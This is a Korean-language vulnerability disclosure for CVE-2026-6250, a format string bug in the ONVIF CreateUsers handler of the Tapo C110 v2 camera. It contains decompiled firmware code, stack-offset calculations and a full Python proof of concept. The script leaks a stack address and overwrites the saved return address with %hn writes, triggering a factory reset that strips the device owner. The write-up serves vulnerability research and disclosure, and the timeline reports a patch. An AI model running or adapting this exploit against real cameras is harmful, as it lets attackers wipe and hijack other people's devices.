ID CVE-2026-6250
요약 사용자 입력을 부적절하게 처리하여 발생하는 인증된 포맷 스트링 취약점이 Tapo C110 v2의 ONVIF 서비스에 존재한다.
위치 /bin/main: 0x000953e0(CreateUsers)
유형 CWE-134: 외부에서 제어 가능한 포맷 스트링 사용
CVSS(4.0) 7.0 (/AV:A/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)
영향받는 버전 < 1.5.4 Build 260428 Rel.64344n

Background

ONVIF(Open Network Video Interface Forum)는 IP 카메라의 장치 관리를 위해 사용되는 표준 프로토콜입니다. Tapo C110 v2는 TCP 2020 포트에서 ONVIF 서비스를 제공하며, GetUsers, CreateUsers, DeleteUsers 와 같은 일반적인 WS-Security 기반 사용자 관리 기능을 지원합니다.

Tapo C110 v2는 ONVIF 사용자와 Tapo 앱 관리자에 대한 권한 분리를 적용합니다. 공장 초기화와 같은 민감한 기능은 ONVIF 사용자가 이용할 수 없으며, Tapo 앱 관리자만이 독자적인 securePassthrough 프로토콜(HTTPS 기반 암호화 JSON)을 통해 사용할 수 있다.

그러나 CreateUsers 요청 핸들러에 존재하는 포맷 스트링 취약점으로 인해 스택에 저장된 리턴 주소를 덮어쓸 수 있으며, 이를 통해 실행 흐름을 공장 초기화 루틴으로 조작할 수 있습니다.

Technical Details

int tds_soap_tag_handle_add()
{
  soap_tag_handle_add("tds:GetServices", soap_tds_get_services_handle);
  soap_tag_handle_add("tds:GetServiceCapabilities", sub_92130);
  soap_tag_handle_add("tds:GetDeviceInformation", sub_95D68);
  soap_tag_handle_add("tds:GetSystemDateAndTime", soap_tds_get_sys_time_handle);
  soap_tag_handle_add("tds:GetScopes", get_tds_scopes);
  soap_tag_handle_add("tds:SetScopes", sub_95BD4);
  soap_tag_handle_add("tds:AddScopes", soap_tds_add_scopes_handle);
  soap_tag_handle_add("tds:RemoveScopes", soap_tds_rm_scopes_handle);
  soap_tag_handle_add("tds:GetDiscoveryMode", sub_96C24);
  soap_tag_handle_add("tds:SetDiscoveryMode", soap_tds_set_discv_mode_handle);
  soap_tag_handle_add("tds:GetUsers", sub_967EC);
  soap_tag_handle_add("tds:CreateUsers", sub_95298); // [1]
  soap_tag_handle_add("tds:DeleteUsers", sub_9504C);
  soap_tag_handle_add("tds:SetUser", sub_94C4C);
  soap_tag_handle_add("tds:GetWsdlUrl", sub_9679C);
  soap_tag_handle_add("tds:GetCapabilities", soap_tds_get_capabilities_handle);
  soap_tag_handle_add("tds:GetHostname", soap_tds_get_hostname_handle);
  soap_tag_handle_add("tds:GetDNS", sub_9674C);
  soap_tag_handle_add("tds:GetNTP", sub_966FC);
  soap_tag_handle_add("tds:GetNetworkInterfaces", sub_966AC);
  soap_tag_handle_add("tds:GetNetworkProtocols", soap_tds_get_network_proto_handle);
  soap_tag_handle_add("tds:GetNetworkDefaultGateway", sub_9665C);
  soap_tag_handle_add("tds:GetCertificates", sub_9660C);
  soap_tag_handle_add("tds:GetCertificatesStatus", sub_965BC);
  soap_tag_handle_add("tds:GetDot11Capabilities", sub_9656C);
  soap_tag_handle_add("tds:GetDot11Status", sub_9651C);
  return soap_tag_handle_add("tds:ScanAvailableDot11Networks", sub_964CC);
}

[1] ONVIF 서비스의 CreateUsers 요청 처리는 /bin/main 바이너리의 sub_95298 함수가 처리합니다.

int __fastcall CreateUsers(_DWORD *ctx) // sub_95298
{
  int user_count;
  unsigned int body_start;
  int body_end;
  int body_len;
  int parse_state;
  int tag_delim;
  OnvifUser *user_rec;
  
  unsigned int cursor;
  char elem_buf[128];
  _WORD user_pool[1570];
  ...
  if ( ctx )
  {
    user_count = soap_usernametoken_auth((int)ctx);
    if ( !user_count )
    {
      memset(user_pool, 0, 0xC40u);
      body_start = ctx[730];
      if ( body_start && (body_end = ctx[731]) != 0 )
      {
        body_len = body_end - body_start;
        if ( (int)(body_end - body_start) < 0 )
        {
LABEL_67:
          create_idx = 0;
        }
        else
        {
          cursor = ctx[730];
          ...
          while ( (int)(cursor - body_start) < body_len )
          {
            tag_delim = soap_get_element_name(body_start, body_len, &cursor, elem_buf, 128); // [1]
            if ( tag_delim == -1 )
              goto LABEL_67;
            if ( elem_buf[0] != '/' )
            {
              if ( soap_match_element(elem_buf, "User") == (char *)1 )
              {
                parse_state = 1;
              }
              else if ( soap_match_element(elem_buf, "Username") == (char *)1 ) // [2]
              {
                if ( !parse_state )
                  goto LABEL_67;
                parse_state = soap_parse_element_value(body_start, body_len, &cursor, tag_delim, elem_buf, 128); // [3]
                if ( parse_state )
                  goto LABEL_67;
                user_rec = (OnvifUser *)&user_pool[49 * user_count++];
                snprintf(user_rec->username, 0x80u, elem_buf); // [4] format string bug
              }
      ...
    }
  }
  return -1;
}

[1] sub_95298 핸들러는 SOAP(Simple Object Access Protocol) 본문을 필드 단위로 파싱합니다. [2] SOAP 필드 파싱 중 <Username>와 일치할 시 [3] 필드 값을 로컬 버퍼인 elem_buf 에 복사한 후 [4] elem_bufsnprintf 함수의 세번째 인자인 포맷 스트링으로 전달하여 호출한다.

따라서 공격자가 %x, %c, %n 과 같은 포맷 지정자를 포함하면 uClibc의 snprintf 함수가 이를 실제 포맷 문자열로 해석하게 되며, 그 결과 임의 스택 메모리 읽기와 쓰기가 가능합니다. 스택 메모리 쓰기의 경우, 다음의 두 가지 uClibc 특성을 유의해야 합니다.

첫 번째는 위치 지정 포맷 문자열(positional argument)이 정상적으로 구현되어 있지 않다는 점입니다. uClibc에서 %N$ 형식은 N이 1인 경우에만 정상 동작합니다. 따라서 공격자는 리턴 주소를 조작하기 위해 포맷 지정자인 %c를 반복 호출하여, 가변 인자를 하나씩 소모하면서 리턴 주소가 위치한 스택 오프셋까지 도달해야 합니다. 두 번째는 %n%hn 을 지원한다는 점입니다.

Exploitation Overview

❯ checksec main
    Arch:       arm-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x10000)
Attacker                            Tapo C110 v2
   |                                     |
   |      CreateUsers("ZZ%08x.ZZ")       |
   |------------------------------------>|
   |                                     |
   |             GetUsers()              |
   |------------------------------------>|
   |                                     |
   |       Username=ZZbeb49dd0.ZZ        |
   |<------------------------------------|
   |                                     |
   |         calculate saved LR          |
   |                                     |
   |        CreateUsers(payload)         |
   |------------------------------------>|
   |                                     |
   |          reboot triggered           |
   |                                     |

Format string bug를 이용하여 리턴 주소가 저장된 saved LR을 덮어쓰기 위해서는 먼저 런타임 스택 주소가 필요합니다. 다음은 snprintf 호출 지점의 디스어셈블리입니다.

953ca  ADD.W   R3, SP, #0x6A8   ; [1] R3 = &user_pool
953ce  MOVS    R0, #0x62        ; sizeof(user_pool) = 98
953d0  ADD.W   R11, R6, #1      ; R11 = user_count + 1
953d4  MOVS    R1, #0x80        ; maxlen = 0x80
953d6  MLA     R0, R0, R6, R3   ; R0 = &user_pool[user_count]
953da  MOV     R2, R5           ; format = elem_buf (Username)
953dc  MOV     R6, R11          ; user_count++
953de  ADDS    R0, #0x20        ; R0 = &user_rec->username (+0x20)
953e0  BLX     snprintf

ARM AAPCS 호출 규약에 따르면 snprintf(dst, maxlen, fmt, ...)의 첫 번째 가변 인자는 R3 레지스터에 저장됩니다. [1] 따라서 R3 = SP + 0x6A8 임으로 하나의 %08x 만을 이용하여 첫 가변 인자의 스택 주소를 유출시킨 후, 역연산을 통해 리턴 주소가 저장된 스택 주소를 구할 수 있습니다.

이러한 스택 주소 유출을 위해 공격자는 CreateUsers 요청을 이용하여 다음과 같은 사용자 이름으로 계정을 생성해야 합니다.

ZZ%08x.ZZ

계정 생성 이후, GetUsers 요청을 이용하여 사용자 이름을 조회하는 방식으로 다음과 같은 스택 주소를 유출시킬 수 있습니다.

ZZbeb49dd0.ZZ

sub_95298 함수의 스택 프레임을 보면 saved LR은 sp+0x130C 위치에 있습니다.

__saved_registers : sp + 0x12EC   (R4~R11, LR)
saved LR slot     : sp + 0x130C
leaked R3         : sp + 0x6A8
saved LR          : leaked R3 + 0xC64

saved LR은 R3 의 스택 주소로부터 +0xC64 만큼 떨어져 있음을 알 수 있습니다.
Tapo C110 v2는 sub_4C918 함수를 호출하여 기기 공장 초기화를 수행하며, 해당 함수는 아무런 인자를 받지 않아 레지스터 값과 무관하게 안전한 호출이 가능합니다. 따라서 본 글에서는 리턴 주소를 sub_4C918 로 조작하여 기기 강제 초기화를 트리거 시킬 것입니다.

Tapo C110 v2 Reset Routine

sub_4C918 함수의 기기 초기화 루틴은 다음과 같습니다.

int sub_4C918() 
{
  // activating reset_flag -> rebooting
  int result; // r0
  int v1; // r0
  int v2; // r0
  int result = sub_4C6AC() + 1; // [1] write the multi user configuration
  if ( result )
  {
    if ( !access("/tmp/usr_def_audio/cnsl_dbg", 0) )
      remove("/tmp/usr_def_audio/cnsl_dbg");
    if ( !access("/hooks/post_reset_hook.sh", 1) )
      system("/hooks/post_reset_hook.sh");
    int v1 = sub_4C880("/tmp/usr_def_audio");
    int v2 = sub_4C8FC(v1);
    return j_reboot_wrapper(v2); // [2] reboot
  }
  return result;
}

int sub_4C6AC()
{
  int v0; // r2
  int v1; // r3
  char v3[256]; // [sp+10h] [bp-9A8h] BYREF
  char v4[256]; // [sp+110h] [bp-8A8h] BYREF
  char dest[352]; // [sp+210h] [bp-7A8h] BYREF
  cloud_config_bind cloud_config_bind; // [sp+370h] [bp-648h] BYREF
  char s[512]; // [sp+4FCh] [bp-4BCh] BYREF
  char v8[700]; // [sp+6FCh] [bp-2BCh] BYREF

  memset(s, 0, sizeof(s));
  memset(dest, 0, sizeof(dest));
  memset(v3, 0, sizeof(v3));
  memset(v8, 0, 0x2B9u);
  ds_read((int)"/device_info/basic_info", v8, 0x2B9u);
  snprintf(v3, 0x100u, "{\"label_info_1\":{\"text\":\"%s\"}}", &v8[274]);
  strcpy(dest, "OSD");
  strcpy(&dest[32], "label_info");
  *(_DWORD *)&dest[80] = v3;
  *(_DWORD *)&dest[84] = strlen(v3) + 1;
  memset(v4, 0, sizeof(v4));
  snprintf(v4, 0x100u, "{\"dhcp\":{\"hostname\":\"%s\"}}", &v8[274]);
  strcpy(&dest[88], "protocol");
  strcpy(&dest[120], "proto");
  *(_DWORD *)&dest[168] = v4;
  *(_DWORD *)&dest[172] = strlen(v4) + 1;
  memset(&cloud_config_bind, 0, sizeof(cloud_config_bind));
  ds_read((int)"/cloud_config/bind", &cloud_config_bind, 0x18Cu);
  snprintf(
    s,
    0x200u,
    "{\"bind\":{\"username\":\"%s\",\"password\":\"%s\",\"account_id\":\"%s\",\"bind_code\":\"%s\",\"unbind_authority\":\""
    "%d\",\"reset_flag\":\"1\"}}",
    cloud_config_bind.username,
    cloud_config_bind.password,
    cloud_config_bind.account_id,
    cloud_config_bind.bind_code,
    cloud_config_bind.unbind_authority);
  strcpy(&dest[176], "cloud_config");
  strcpy(&dest[208], "router_post");
  *(_DWORD *)&dest[256] = s;
  *(_DWORD *)&dest[260] = strlen(s) + 1;
  return -(ds_save_multi_usr_cfg((int)dest, 3, v0, v1) != 0);
}
struct cloud_config_bind  
{
    char username[65];    
    char password[33];    
    char account_id[33];  
    char bind_code[257];  
    int  reset_flag;      
    int  unbind_authority;
};

sub_4C918 함수는 sub_4C6AC 함수를 호출하여, [1] DS(DataStore) 섹션인 /cloud_config/bindreset_flag 필드를 “1”로 영구 저장한 후 [2] 재부팅 시킵니다.

tdpd_listen_thread (0x517C8)
  └ recvfrom() -> tdpd_handle / sub_50AEC (0x50AEC)
       ├ tdpd_check_recv_packet (verify version/reserved/checksum/flag)
       └ switch(opcode):
       │
       ├─ opcode 1  DISCOVERY_APP   -> tdpd_get_camera_data_before_encrypt (0x4FE60)
       ├─ opcode 2  DISCOVERY_HUB   -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)
       └─ opcode 4-8 DISCOVERY_CAM  -> tdpd_get_hub_info (0x507D8) -> check_account (0x51FF4)

부팅 이후 Tapo C110 v2는 TDP(TP-Link Discovery Protocol, UDP/20002) 를 이용하여 앱, 허브, 카메라 연결을 지원한다.

int __fastcall tdpd_get_camera_data_before_encrypt(int a1, int a2)
{
  ...
  if ( a1 && a2 )
  {
    v7 = sub_F6878(v4, v5, v6, 0);
    if ( !v7 )
    {
      msg_debug(0, 16, 3, (int)"tdpd_get_encrypt_info_v2", 881, (int)"[TDPD][Error] failed to create encrypt_info");
      return -1;
    }
    v8 = jso_obj_get(a1, "params");
    ...
    string_origin = (const char *)jso_obj_get_string_origin(v8, "rsa_key");
    ...
    v11 = strlen(string_origin);
    v12 = v11;
    if ( v11 )
    {
      ...
      if ( sub_F9310(string_origin, &unk_2CB59C, 32, s, 512, &n) >= 0 )
      {
        ...
        ds_read((int)"/cloud_config/bind", &cloud_config_bind, 396);
        ds_read((int)"/cloud_config/extra_bind", cloud_config_extra_bind, 104);
        if ( !cloud_config_bind.username[0] || (v23 = cloud_config_bind.reset_flag) != 0 ) // [1]
        {
          if ( !cloud_config_extra_bind[0] )
          {
            v36 = &byte_207F0B; // null
LABEL_54:
            jso_add_string(v35, "owner", v36); // [2]
            ...
          }
          memset(v55, 0, sizeof(v55));
          mbedtls_md5_initalization((int)v55);
          v30 = strlen(cloud_config_extra_bind);
          j_j_mbedtls_md5_update_ret(v55, cloud_config_extra_bind, v30);
          j_j_mbedtls_md5_finish_ret(v55, v52);
          v31 = -2;
          do
          {
            v32 = (char *)&v53[v29];
            v33 = v31 * v29 + 33;
            v48 = v31;
            v34 = (unsigned __int8)v52[v29++];
            snprintf(v32, v33, "%02X", v34);
            v31 = v48;
          }
          while ( v29 != 16 );
        }
        else
        {
          memset(v55, 0, sizeof(v55));
          mbedtls_md5_initalization((int)v55);
          v24 = strlen(cloud_config_bind.username);
          j_j_mbedtls_md5_update_ret(v55, &cloud_config_bind, v24);
          j_j_mbedtls_md5_finish_ret(v55, v52);
          v25 = -2;
          do
          {
            v26 = (char *)&v53[v23];
            v27 = v25 * v23 + 33;
            v47 = v25;
            v28 = (unsigned __int8)v52[v23++];
            snprintf(v26, v27, "%02X", v28);
            v25 = v47;
          }
          while ( v23 != 16 );
        }
        v35 = v20;
        v36 = (const char *)v53;
        goto LABEL_54;
        ...
}

DISCOVERY_APP opcode 처리의 경우, 앱 연동을 위해 rsa_key 값을 수신 받아 처리 할 시, [1] /cloud_config/bind 섹션 내 username 필드 값의 존재 여부와 reset_flag 의 활성화 여부를 확인한다. [2] 이 시점에서 reset_flag 가 활성화 되었다면 owner 스트링에 아무 값도 들어가지 않는다.

이러한 code flow를 통해 Tapo C110 v2 카메라의 소유자가 없어지면서, 재바인딩 가능한 상태로 노출시켜 논리적 초기화를 수행한다.

Payload Construction

ARM Thumb 모드에서는 함수 주소의 최하위 비트가 반드시 1이어야 하므로, saved LR에 덮어쓸 최종 주소 값은 0x0004C919 가 됩니다.

또한 익스플로잇 시 수 많은 데이터를 출력하면 에러가 발생할 것을 고려하여, 포맷 지정자인 %hn 을 이용하여 리턴 주소를 16비트씩 총 2번 나누어서 덮어쓰도록 페이로드를 구성하였습니다.

hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
lo = RESET_ADDR & 0xFFFF        # 0xC919

전체 페이로드는 127바이트의 Username 길이 제한을 만족해야 하며, 페이로드는 Username 값으로 포함되어 XML 내부로 전달되므로, 페이로드 내에는 0x00 (NULL), 0x25 (%), 0x26 (&), 0x3C (<), and 0x3E (>) 문자가 포함되어서는 안 됩니다.

Proof-of-Concept

#!/usr/bin/env python3
import base64, datetime, hashlib, os, re, socket, struct, time
import requests
TARGET = "" # target IP address
PORT = 2020
USER = "" # normal user name
PASS = "" # normal user password
RESET_ADDR = 0x4c919
def url(h):
    return f"http://{h}:{PORT}/onvif/device_service"
def wsse(user, pw):
    nonce = os.urandom(16)
    created = datetime.datetime.now(datetime.UTC).strftime("%Y-%m-%dT%H:%M:%SZ")
    digest = base64.b64encode(
        hashlib.sha1(nonce + created.encode() + pw.encode()).digest()
    ).decode()
    return f"""<Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
      <UsernameToken>
        <Username>{user}</Username>
        <Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">{digest}</Password>
        <Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">{base64.b64encode(nonce).decode()}</Nonce>
        <Created xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">{created}</Created>
      </UsernameToken></Security>"""
def soap(host, user, pw, body):
    xml = f"""<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
  xmlns:tds="http://www.onvif.org/ver10/device/wsdl"
  xmlns:tt="http://www.onvif.org/ver10/schema">
  <s:Header>{wsse(user, pw)}</s:Header>
  <s:Body>{body}</s:Body>
</s:Envelope>"""
    try:
        r = requests.post(url(host), data=xml.encode(),
                          headers={"Content-Type": "application/soap+xml"}, timeout=5)
        return r.status_code, r.text
    except requests.exceptions.ConnectionError:
        return "CONN_ERR", ""
    except requests.exceptions.Timeout:
        return "TIMEOUT", ""
def create_raw(host, user, pw, username_bytes):
    hdr = wsse(user, pw).encode()
    data = (
        b'<?xml version="1.0" encoding="utf-8"?>'
        b'<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"'
        b' xmlns:tds="http://www.onvif.org/ver10/device/wsdl"'
        b' xmlns:tt="http://www.onvif.org/ver10/schema">'
        b'<s:Header>' + hdr + b'</s:Header>'
        b'<s:Body><tds:CreateUsers><tds:User>'
        b'<tt:Username>' + username_bytes +
        b'</tt:Username><tt:Password>safe</tt:Password>'
        b'<tt:UserLevel>User</tt:UserLevel>'
        b'</tds:User></tds:CreateUsers></s:Body></s:Envelope>'
    )
    try:
        r = requests.post(url(host), data=data,
                          headers={"Content-Type": "application/soap+xml"}, timeout=5)
        return r.status_code
    except requests.exceptions.ConnectionError:
        return "CONN_ERR"
    except requests.exceptions.Timeout:
        return "TIMEOUT"
def alive(h):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((h, PORT))
        s.close()
        return True
    except OSError:
        return False
def main():
    h, u, p = TARGET, USER, PASS
    hi = (RESET_ADDR >> 16) & 0xFFFF# 0x0004
    lo = RESET_ADDR & 0xFFFF        # 0xC919
    code, resp = soap(h, u, p, "<tds:GetUsers/>")
    if code != 200:
        print(f"GetUsers error: {code}"); return
    before = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
    code, _ = soap(h, u, p,
        '<tds:CreateUsers><tds:User>'
        '<tt:Username>ZZ%08x.ZZ</tt:Username>'
        '<tt:Password>safe</tt:Password>'
        '<tt:UserLevel>User</tt:UserLevel>'
        '</tds:User></tds:CreateUsers>')
    if code != 200:
        print(f"leak error: {code}"); return
    time.sleep(0.5)
    code, resp = soap(h, u, p, "<tds:GetUsers/>")
    after = set(re.findall(r'<tt:Username>([^<]*)</tt:Username>', resp))
    new = after - before
    if not new:
        print("no new user"); return
    leaked = list(new)[0]
    m = re.search(r'ZZ([0-9a-fA-F]+)\.ZZ', leaked)
    if not m:
        print(f"parsing stack address error: {leaked}"); return
    r3 = int(m.group(1), 16)
    lr_addr = r3 + 0xC64
    soap(h, u, p,
        f'<tds:DeleteUsers><tds:Username>{leaked}</tds:Username></tds:DeleteUsers>')
    addr_hi = struct.pack("<I", lr_addr + 2)# upper halfword location
    pad     = b'\x41\x41\x41\x41'           # filler (consumed by %W2c)
    addr_lo = struct.pack("<I", lr_addr)    # lower halfword location
    bad_bytes = {0x00, 0x25, 0x26, 0x3C, 0x3E}  # null, %, &, <, >
    for label, a in [("saved_lr+2", addr_hi), ("saved_lr", addr_lo)]:
        for b in a:
            if b in bad_bytes:
                print(f"{label}: byte 0x{b:02x} unsafe"); return
    LITERAL = 12# 3 × 4-byte fields (addr_hi + pad + addr_lo)
    ARGS    = 32# %c × 32
    # first %hn: count1 = W1 = hi - LITERAL - ARGS (mod 0x10000)
    W1 = hi - LITERAL - ARGS
    if W1 <= 0:
        W1 += 0x10000
    # second %hn: count2 = count1 + W2 = lo (mod 0x10000)
    W2 = (lo - hi) & 0xFFFF
    if W2 == 0:
        W2 = 0x10000
    fmt = addr_hi + pad + addr_lo
    fmt += f"%{W1}c".encode()
    fmt += b"%c" * 32
    fmt += b"%hn"
    fmt += f"%{W2}c".encode()
    fmt += b"%hn"
    if len(fmt) > 127:
        print(f"payload too long: {len(fmt)} > 127"); return
    code = create_raw(h, u, p, fmt)
    print("exploit!!!")
if __name__ == "__main__":
    main()

Demonstration

Timeline

  • 2026-02-27 - Discovered vulnerability.
  • 2026-03-01 - Reported vulnerability to TP-Link Inc.
  • 2026-03-03 - Recognized as a security vulnerability and started investigating.
  • 2026-06-12 - Patched in the stable version (Tapo C110(US)_V2.6_1.5.4 Build 260428).

Reference